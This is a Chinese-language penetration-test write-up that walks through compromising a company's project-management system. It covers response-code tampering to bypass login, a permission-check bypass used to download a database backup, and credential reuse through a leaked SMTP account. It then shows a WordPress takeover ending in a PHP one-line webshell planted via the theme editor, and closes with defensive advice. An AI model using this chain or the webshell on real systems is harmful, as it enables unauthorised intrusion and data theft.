记一次相当曲折的渗透
字数 1421 2025-08-29 08:31:54
渗透测试实战教学:从逻辑漏洞到Getshell的全过程分析
一、前言
本教学文档基于一次真实的渗透测试案例,详细展示了从信息收集到最终获取系统权限的全过程。通过本案例,您将学习到逻辑漏洞利用、API接口分析、敏感信息搜集以及WordPress框架的渗透技巧。
二、信息收集阶段
1. 子域名枚举
- 使用工具如Sublist3r、Amass或OneForAll收集目标所有子域名
- 重点关注项目管理、OA系统等业务系统子域名
2. 目标识别
- 发现一个项目管理网站作为主要目标
- 初步判断为定制开发系统(非通用CMS)
三、认证绕过漏洞利用
1. 弱口令爆破尝试
- 测试常见弱口令组合(admin/admin123等)
- 发现系统无验证码机制
- 无失败次数限制,适合爆破
- 使用Burp Suite Intruder模块进行爆破(但未成功)
2. 状态码修改绕过
- 拦截登录请求(Burp Proxy)
- 将404响应修改为200后放行
- 浏览器显示后台界面,未重定向到登录页
- 原理:前端仅依赖HTTP状态码判断权限,后端验证不完善
3. 功能限制分析
- 多数API返回错误,表明后端有token验证
- 用户管理API仍可正常返回数据
四、密码获取过程
1. 前端修改获取假密码
- 通过浏览器开发者工具修改返回文本
- 获取到"管理员密码"(实际为伪造值)
- 尝试登录失败,发现系统对返回密码进行了统一过滤
2. 数据库备份下载
- 发现数据库备份功能点
- 点击下载无反应,Burp捕获到checkPower请求
- 修改响应为true绕过权限检查
- 成功下载数据库备份文件
- 在备份中搜索"user"表,找到明文存储的管理员密码
五、敏感信息搜集
1. 系统内信息收集
- 登录后未发现文件上传点
- 常见注入点测试无果
2. 邮箱配置信息泄露
- 在系统设置中发现邮件服务器配置
- 包含:
- SMTP服务器地址
- root邮箱账号
- 明文密码
3. 邮箱渗透
- 使用获取的凭据登录邮件系统
- 发现大量敏感信息:
- 用户密码重置记录
- 内部通信
- 系统告警信息
六、WordPress渗透
1. 目标识别
- 通过该公司售后网站发现使用WordPress框架
2. 密码重置攻击
- 使用"忘记密码"功能
- 系统通过已控制的邮箱发送随机密码
- 登录邮箱获取临时密码
3. Getshell方法
- 登录WordPress后台
- 进入"外观"->"主题编辑器"
- 编辑主题文件插入一句话木马:
<?php eval($_REQUEST['cmd']);?> - 使用中国菜刀/蚁剑等工具连接
- 成功获取Webshell
七、技术要点总结
1. 逻辑漏洞利用
- HTTP状态码信任问题
- 前端验证可绕过性
- API权限校验不完整
2. 敏感信息防护缺失
- 数据库明文存储密码
- 邮箱凭据硬编码
- 密码重置机制不安全
3. WordPress安全
- 弱密码问题
- 主题编辑漏洞
- 权限控制不足
八、防御建议
1. 认证安全
- 实施多因素认证
- 增加验证码机制
- 设置登录失败锁定
2. 权限控制
- 前后端完整校验
- 最小权限原则
- 敏感操作二次认证
3. 数据安全
- 密码哈希存储
- 加密敏感配置
- 定期审计权限
4. 代码安全
- 输入输出过滤
- 禁用危险函数
- 文件上传限制
九、渗透测试方法论
- 信息收集要全面
- 每个功能点都要测试
- 不要忽视"小漏洞"的组合利用
- 敏感信息是重要跳板
- 保持耐心和细致
通过本案例可以看出,渗透测试往往需要结合多种技术,从看似微不足道的漏洞入手,逐步深入,最终获取系统权限。安全是一个整体,任何环节的疏忽都可能导致全线崩溃。